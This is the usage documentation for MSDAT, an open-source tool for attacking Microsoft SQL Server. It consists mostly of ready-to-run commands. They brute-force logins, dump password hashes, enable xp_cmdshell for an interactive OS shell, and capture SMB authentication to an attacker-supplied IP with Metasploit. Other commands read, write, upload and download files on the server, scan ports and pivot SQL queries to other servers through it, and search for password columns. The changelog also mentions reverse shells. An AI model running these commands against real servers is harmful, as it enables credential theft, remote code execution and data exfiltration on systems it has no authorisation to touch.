MSDAT (Microsoft SQL Database Attacking Tool) is an open source penetration testing tool that tests the security of Microsoft SQL Databases remotely.
Usage examples of MSDAT:
- You have a Microsoft database listening remotely and you want to find valid credentials in order to connect to the database
- You have a valid Microsoft SQL account on a database and you want to escalate your privileges
- You have a valid Microsoft SQL account and you want to execute commands on the operating system hosting this DB (e.g. xp_cmdshell, OLE Automation, Agent Jobs)
Tested on Microsof SQL database 2005, 2008, 2012, 2014, 2016 and 2019.
- Version 2.4 (2022/12/28) :
- 2 new options in search module: --privs and --privs-full for getting current user roles and privileges (e.g. login and database privileges)
- 1 new option in search module: --config for getting database configurations & information (version, databases, users, disable users, stored procecdures, etc)
- Version 2.3 (2022/12/18) :
- compataible with Microsoft SQL Server 2019
- new option --schema-dump in search module for extract the schema and save in file (except for default DBs)
- new option --table-dump in search module for extracting all tables and save in file (except for default DBs)
- new option --sql-shell in search module for getting a minimal pseudo SQL shell
- Version 2.2 (2022/04/29) :
- --nmap-file and -l can be used in all module and passwordguesser module now. You can give a list of targets with -l or a nmap file with --nmap-file.
- Multiple bug fixes
- Version 2.1 (2020/03/04) :
- Option --nmap-file for loading all mssql services from a XML nmap file (python-libnmap has to be installed)
- Version 2.0 (2020/03/04) :
- Python 2 to Python 3: MSDAT is compatible with Python 3 only now. Python 2 is not supported.
- Separator option in password guesser module
- Improvements in error catching in --put-file option of xpcmdshell module
- Improvements in reverse shell option of jobs mobule
- OLE automation module - command execution improvements
- OLE automation module - Powershell reverse shell implemented
- new option for printing list of agents jobs and their code: --print-jobs
- Version 1.2 (2020/02/26) :
- New method in xpCmdShell module: Upload a binary file with powershell (--put-file)
- Improvement in oleAutomation: upload the file in binary mode instead of text file
- Version 1.1 (2019/07/12) :
- many other default credentials. Thanks to https://github.com/govolution/betterdefaultpasslist/
- Version 1.0 (2017/02/15) :
- first version realeased

optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit- You can list all modules:
./msdat.py -h- When you have chosen a module (example: all), you can use it and you can list all features and options of the module:
./msdat.py all -hYou can know if a specific module can be used on a MSSQL server thanks to the --test-module option. This options is implemented in each mdat module.
The all module allows you to run all modules (depends on options that you have purchased).
python msdat.py all -s $SERVERIf you want:
- to use your own account file for the dictionnary attack
- try multiple passwords for a user without ask you
- to define your own timeout value
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retryIn each module, you can define the charset to use with the --charset option.
To get technical information about a remote MSSQL server without to be authenticated:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-infoThis module uses TDS protocol and SQL browser Server to get information.
This module allows you to search valid credentials :
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search--force-retry option allows to test multiple passwords for each user without ask you
You can specify your own account file with the --accounts-file option:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retryTo dump hashed passwords :
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txtThis modules has been tested on SQL Server 2000, 2005, 2008 and 2014.
To execute system commands thanks to xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shellThis previous command give you an interactive shell on the remote database server.
If xp_cmdshell is not enabled, the --enable-xpcmdshell can be used in this module to activate it:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shellThe --enable-xpcmdshell option enables xp_cmdshell if it is not enabled (not enabled by default).
The --disable-xpcmdshell option disables xp_cmdshell if this one is enabled.
Thanks to this module, you can capture a SMB authentication:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARETo capture the SMB authentication, the auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) module of metasploit could be used:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploitThe capture command of this module tries to capture a SMB authentication thanks to xp_dirtree, xp_fileexist or xp-getfiledetails procedure.
If you want to choose the SMB authentication procedure to capture the authentication:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1You can change the SHARE name with the --share-name option.
This module can be used to read/write file in the database server.
The following command read the file temp.txt stored in the database server:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'To write a string in a file (temp.txt) remotely:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'This module can be used to download a file (C:\Users\Administrator\Desktop\temp.txt) stored on the database server:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txtAlso, you can use this module to upload a file (temp.txt) on the target:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txtThe module bulkopen can be used :
- to read/download files stored on a database server
- to scan ports through the database server
- to execute SQL requests on a remote MSSQL server through the database
To read a file stored in the target, the following command can be used:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"The --method option can be used to specify the method to use:
- bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) or
- openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx)):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowsetTo download a file (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
You can scan a range of ports:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438This module can be used to execute SQL requests (ex: select @@ServerName) on a remote database server (ex: $SERVER2) through the database ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'The module xpdirectory can be used:
- to list:
- files
- directories
- drives
- to check if a file exists
- to create a directory
To list files in a specific directory:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'To list directories in a specific directory:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'To list drives:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-mediaTo check if a file exist:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'To create a directory:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'The module search can be used to search a pattern in column names of tables and views. Usefull to search the pattern %password% in column names for example.
To get column names which contains password patterns (ex: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columnsIf you want to see column names which doesn't contain a data, you should use the option --show-empty-columns.
To search a specific pattern in column names of views and tables:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columnsIf you want to support my work doing a donation, I will appreciate a lot:
